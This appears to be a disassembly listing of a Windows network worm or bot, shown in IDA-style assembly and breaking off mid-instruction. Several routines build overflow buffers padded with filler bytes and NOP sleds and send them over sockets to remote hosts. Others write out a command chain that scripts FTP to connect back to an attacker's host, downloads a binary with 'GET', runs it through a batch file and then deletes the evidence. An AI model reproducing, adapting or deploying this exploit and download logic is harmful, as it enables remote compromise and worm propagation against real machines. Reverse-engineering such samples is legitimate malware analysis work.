--------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_402054j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424800 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401505j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424870 proc near ; CODE XREF: sub_4017D5j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_424884 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_424884: ; CODE XREF: sub_424870+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_445C04 lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4248E0 proc near ; CODE XREF: sub_401EC9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_401505 test al, al jnz short loc_4248FC pop esi retn 8 ; --------------------------------------------------------------------------- loc_4248FC: ; CODE XREF: sub_4248E0+16j mov ecx, esi call sub_4017D5 pop esi retn 8 sub_4248E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424920 proc near ; CODE XREF: sub_401BFEj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424CF5 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424CF5 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_4458A0 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_4458A8 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B7C lea ecx, [esp+864h+var_830] call sub_4017D5 mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B7C push offset loc_445C28 lea ecx, [esp+868h+var_810] call sub_402054 lea ecx, [esp+864h+var_810] call sub_401B7C mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401843 lea ecx, [esp+864h+var_808] call sub_401B7C mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EC9 lea ecx, [esp+864h+var_808] call sub_4016C2 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402054 push 4 push offset dword_4458AC lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B7C mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_401505 mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_401505 lea ecx, [esp+864h+var_820] call sub_4017D5 lea ecx, [esp+864h+var_848] call sub_4016C2 lea ecx, [esp+864h+var_810] call sub_4016C2 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_401505 mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_401505 mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_401505 lea ecx, [esp+864h+var_828] call sub_4017D5 lea ecx, [esp+864h+var_840] call sub_4016C2 lea ecx, [esp+864h+var_830] call sub_4016C2 lea ecx, [esp+864h+var_820] call sub_4016C2 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B7C push 2 push offset dword_445C1C lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_401505 lea ecx, [esp+864h+var_838] call sub_4017D5 lea ecx, [esp+864h+var_828] call sub_4016C2 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016C2 push offset dword_445C18 lea ecx, [esp+868h+var_858] call sub_402054 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_444E60 lea ecx, [esp+868h+var_850] call sub_402054 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016C2 push offset dword_445C0C lea ecx, [esp+868h+var_858] call sub_402054 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_445C08 lea ecx, [esp+868h+var_818] call sub_402054 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4016C2 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424CF5: ; CODE XREF: sub_424920+1Ej ; sub_424920+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424920 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_401AC8j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 call near ptr 71AB2DC0h nop cmp eax, 1 jz short loc_424E89 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424E89: ; CODE XREF: sub_424E20+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_438256 sub_424E20 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424EA0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424EA0: ; CODE XREF: ___:00424E96j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi nop call near ptr 71AB615Ah pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F00 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi nop call near ptr 71AB2BC0h mov edi, [esp+0Ch+arg_0] mov ebx, dword_511CA0 mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx cmp eax, 4 jz short loc_424F33 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424F33: ; CODE XREF: sub_424F00+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424F00 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F70 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424FA3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424F70+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_44593C shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_4458B4 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_44596C mov [ebx+31h], eax mov ecx, dword_445970 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_510100 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_510104 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_425048 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425048: ; CODE XREF: sub_424F70+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AC8 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_425083 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425083: ; CODE XREF: sub_424F70+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AC8 push ebx call near ptr 77C2C21Bh nop add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424F70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425100 proc near ; CODE XREF: sub_401820j var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = word ptr -418h var_416 = dword ptr -416h var_412 = dword ptr -412h var_40E = dword ptr -40Eh var_40A = word ptr -40Ah var_408 = dword ptr -408h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 420h push ebp push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [esp+42Ch+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_445AE0 lea edi, [esp+42Ch+var_400] rep movsd movsw mov ecx, offset byte_449511 movsb call sub_4017EE push eax mov ecx, offset byte_449511 call sub_4017EE mov ecx, [esp+430h+arg_0] push eax mov eax, dword_44964F push eax push ecx call sub_401E10 add esp, 4 lea edx, [esp+438h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx nop call near ptr 77C3FA76h add eax, 90h lea ecx, [esp+448h+var_408] push eax lea eax, [esp+44Ch+var_400] push eax push 164h push offset sub_445978 push ecx call sub_401BFE mov edx, [eax] xor edi, edi mov [esp+45Ch+var_420], edx add esp, 30h mov eax, [eax+4] cmp eax, edi mov [esp+42Ch+var_41C], eax jnz short loc_4251B2 xor eax, eax pop edi pop esi pop ebp add esp, 420h retn ; --------------------------------------------------------------------------- loc_4251B2: ; CODE XREF: sub_425100+A4j mov ebp, dword_511C38 mov [esp+42Ch+var_408], edi loc_4251BC: ; CODE XREF: sub_425100+161j test edi, edi jnz loc_425267 push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_42524A mov ecx, [esp+42Ch+arg_9E] xor eax, eax mov [esp+42Ch+var_416], eax push ecx mov [esp+430h+var_412], eax mov [esp+430h+var_418], 2 mov [esp+430h+var_40E], eax mov [esp+430h+var_40A], ax call ebp lea edx, [esp+42Ch+arg_4] mov word ptr [esp+42Ch+var_416], ax push edx nop call near ptr 71AB2BF4h mov [esp+42Ch+var_416+2], eax lea eax, [esp+42Ch+var_418] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz short loc_42523F mov ecx, [esp+42Ch+var_41C] mov edx, [esp+42Ch+var_420] push ecx push edx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_42523F: ; CODE XREF: sub_425100+123j push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_425255 loc_42524A: ; CODE XREF: sub_425100+D5j push 3E8h call near ptr 2830386h nop loc_425255: ; CODE XREF: sub_425100+148j mov eax, [esp+42Ch+var_408] inc eax cmp eax, 2 mov [esp+42Ch+var_408], eax jl loc_4251BC loc_425267: ; CODE XREF: sub_425100+BEj lea ecx, [esp+42Ch+var_420] call sub_4016C2 test edi, edi jz short loc_425297 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E8h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425297: ; CODE XREF: sub_425100+172j pop edi pop esi mov eax, 1 pop ebp add esp, 420h retn sub_425100 endp ; --------------------------------------------------------------------------- aRrrrrrrrrr db '' db '',1Bh,0 align 4 dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h dd 2 dup(90909090h), 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_425370 proc near ; CODE XREF: sub_4013D4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi push 0C8h nop call near ptr 2830386h mov edx, [esp+4+arg_4] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+4+arg_0] push 0 not ecx dec ecx push ecx push edx push eax call near ptr 71AB428Ah nop cmp eax, 0FFFFFFFFh pop edi setnz al retn sub_425370 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253C0 proc near ; CODE XREF: sub_4013BBj var_434 = byte ptr -434h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_4253C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 428h xor eax, eax push ebx mov [esp+438h+var_41C], eax push esi mov [esp+43Ch+var_418], eax lea ecx, [esp+43Ch+arg_4] push edi mov [esp+440h+var_414], eax push ecx mov [esp+444h+var_410], eax mov word ptr [esp+444h+var_41C], 2 nop call near ptr 71AB2BF4h mov dx, word_510108 mov [esp+440h+var_418], eax push edx nop call near ptr 71AB2B66h push 0 push 1 push 2 mov word ptr [esp+44Ch+var_41C+2], ax call near ptr 71AB3B91h nop mov esi, eax or ebx, 0FFFFFFFFh cmp esi, ebx jz loc_4256BE lea eax, [esp+440h+var_41C] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, ebx jz loc_4256BE mov edi, dword_511CA4 push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi lea ecx, [esp+440h+var_434] call sub_40142E mov edx, dword_44964F mov eax, [esp+440h+arg_0] push edx push eax mov [esp+448h+var_4], 0 call sub_401E10 add esp, 4 lea ecx, [esp+444h+var_434] push eax push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n" push ecx call sub_40102D add esp, 10h lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoBinary_pif ; "echo binary>>.pif \r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449511 call sub_4017EE push eax lea ecx, [esp+444h+var_434] push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n" push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoBye_pif ; "echo bye>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449511 call sub_4017EE push eax lea edx, [esp+444h+var_434] push offset aEchoSC_bat ; "echo %s >>c.bat\r\n" push edx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea eax, [esp+440h+var_434] push offset dword_4467A4 push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jnz short loc_4256C2 loc_4256AE: ; CODE XREF: sub_4253C0+F3j ; sub_4253C0+120j ... lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 loc_4256BE: ; CODE XREF: sub_4253C0+6Fj ; sub_4253C0+85j xor al, al jmp short loc_4256EA ; --------------------------------------------------------------------------- loc_4256C2: ; CODE XREF: sub_4253C0+2ECj push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi push esi nop call near ptr 71AB9639h lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 mov al, 1 loc_4256EA: ; CODE XREF: sub_4253C0+300j mov ecx, [esp+440h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 434h retn sub_4253C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257F0 proc near ; CODE XREF: sub_40180Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_28 = byte ptr 2Ch arg_2C = byte ptr 30h arg_2F = byte ptr 33h arg_59 = byte ptr 5Dh arg_5B = byte ptr 5Fh arg_5C = byte ptr 60h arg_90 = byte ptr 94h arg_A4 = byte ptr 0A8h arg_A5 = byte ptr 0A9h arg_F0 = byte ptr 0F4h arg_190 = byte ptr 194h arg_89C = dword ptr 8A0h arg_8AC = byte ptr 8B0h arg_8D4 = dword ptr 8D8h arg_8E4 = byte ptr 8E8h arg_C08 = dword ptr 0C0Ch arg_C0C = dword ptr 0C10h arg_C18 = byte ptr 0C1Ch arg_E30 = byte ptr 0E34h arg_E50 = byte ptr 0E54h arg_E70 = byte ptr 0E74h arg_E90 = byte ptr 0E94h arg_1480 = byte ptr 1484h arg_14E0 = byte ptr 14E4h arg_14FC = byte ptr 1500h arg_1CCC = byte ptr 1CD0h arg_2177 = byte ptr 217Bh arg_2464 = byte ptr 2468h arg_24C5 = byte ptr 24C9h arg_34F8 = byte ptr 34FCh arg_3FA0 = byte ptr 3FA4h arg_3FC0 = byte ptr 3FC4h arg_401C = byte ptr 4020h arg_401D = byte ptr 4021h arg_4020 = byte ptr 4024h arg_4030 = byte ptr 4034h arg_4AF4 = byte ptr 4AF8h arg_6098 = byte ptr 609Ch arg_60F8 = byte ptr 60FCh arg_6100 = byte ptr 6104h arg_8140 = byte ptr 8144h arg_81DC = byte ptr 81E0h arg_8234 = dword ptr 8238h arg_8290 = dword ptr 8294h arg_8294 = dword ptr 8298h mov eax, 81D8h call sub_437B30 mov eax, dword_446904 mov ecx, dword_446908 push ebx push ebp push esi lea edx, [esp+0Ch+arg_81DC] push edi mov [esp+10h], eax push edx lea eax, [esp+14h+arg_4] push offset dword_4468F8 push eax mov [esp+1Ch+arg_0], ecx nop call near ptr byte_5F285B add esp, 0Ch xor eax, eax lea ecx, [esp+10h+arg_A5] loc_425835: ; CODE XREF: sub_4257F0+56j mov dl, [esp+eax+10h+arg_4] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 28h jl short loc_425835 mov ecx, 18h mov esi, offset dword_4461C8 lea edi, [esp+10h+arg_2C] xor eax, eax rep movsd lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+10h+arg_A4] shl ecx, 1 mov eax, ecx lea edi, [esp+10h+arg_5C] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 mov edx, dword_44621F rep movsb lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx mov eax, dword_446223 dec ecx lea edi, [esp+10h+arg_4] lea ecx, [esp+ecx*2+10h+arg_5B] mov [ecx], edx mov dl, byte_446227 mov [ecx+4], eax xor eax, eax mov [ecx+8], dl or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+10h+arg_4] mov ebx, ecx or ecx, 0FFFFFFFFh add bl, 1Ah shl bl, 1 repne scasb mov ax, word_510108 mov [esp+10h+arg_2F], bl not ecx dec ecx push eax shl cl, 1 add cl, 9 mov [esp+14h+arg_59], cl call near ptr 71AB2B66h nop mov edx, [esp+14h+arg_8294] xor eax, 9999h test edx, edx mov word_445EC8, ax jz loc_4259E3 mov ecx, 36Bh mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov edx, dword_4465BC[edx*8] rep stosd mov edi, offset loc_445E18 or ecx, 0FFFFFFFFh xor eax, eax mov esi, offset loc_445E18 repne scasb not ecx dec ecx lea edi, [esp+14h+arg_8E4] mov eax, ecx mov [esp+14h+arg_8D4], edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, dword_4468F0 mov edi, offset loc_445E18 mov [esp+14h+arg_C08], ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov [esp+14h+arg_C0C], edx mov edx, ecx mov esi, offset loc_445E18 lea edi, [esp+14h+arg_C18] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+14h+arg_24C5] loc_42598F: ; CODE XREF: sub_4257F0+1B5j mov dl, [esp+eax+14h+arg_F0] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 0DACh jl short loc_42598F mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_60F8] mov [esp+14h+arg_401C], 0 rep stosd stosw mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_4020] mov [esp+14h+arg_401D], 0 rep stosd stosw jmp short loc_425A52 ; --------------------------------------------------------------------------- loc_4259E3: ; CODE XREF: sub_4257F0+10Bj mov ecx, 1F4h mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov esi, offset loc_445E18 rep stosd mov edi, offset loc_445E18 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx lea edi, [esp+14h+arg_190] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+14h+var_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+14h+var_4] mov edx, ecx lea edi, [esp+14h+arg_8AC] shr ecx, 2 rep movsd mov eax, dword_4465BC mov ecx, edx and ecx, 3 rep movsb mov [esp+14h+arg_89C], eax loc_425A52: ; CODE XREF: sub_4257F0+1F1j mov ecx, 38Ah mov eax, 31313131h lea edi, [esp+14h+arg_14E0] mov ebp, [esp+14h+arg_8290] rep stosd movsx ecx, bl mov ebx, dword_511CA0 add ecx, 4 push 0 lea edx, [esp+18h+arg_28] push ecx push edx push ebp stosb call ebx cmp eax, 0FFFFFFFFh jnz short loc_425A96 xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425A96: ; CODE XREF: sub_4257F0+297j mov esi, dword_511CA4 push 0 lea eax, [esp+28h+arg_E90] push 640h push eax push ebp call esi push 0 push 68h push offset dword_44622C push ebp call ebx cmp eax, 0FFFFFFFFh jnz short loc_425ACC xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425ACC: ; CODE XREF: sub_4257F0+2CDj push 0 lea ecx, [esp+48h+arg_E70] push 640h push ecx push ebp call esi push 0 push 0A0h push offset dword_446298 push ebp call ebx cmp eax, 0FFFFFFFFh jnz short loc_425AFF xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425AFF: ; CODE XREF: sub_4257F0+300j push 0 lea edx, [esp+68h+arg_E50] push 640h push edx push ebp call esi mov eax, [esp+74h+arg_8234] test eax, eax jz 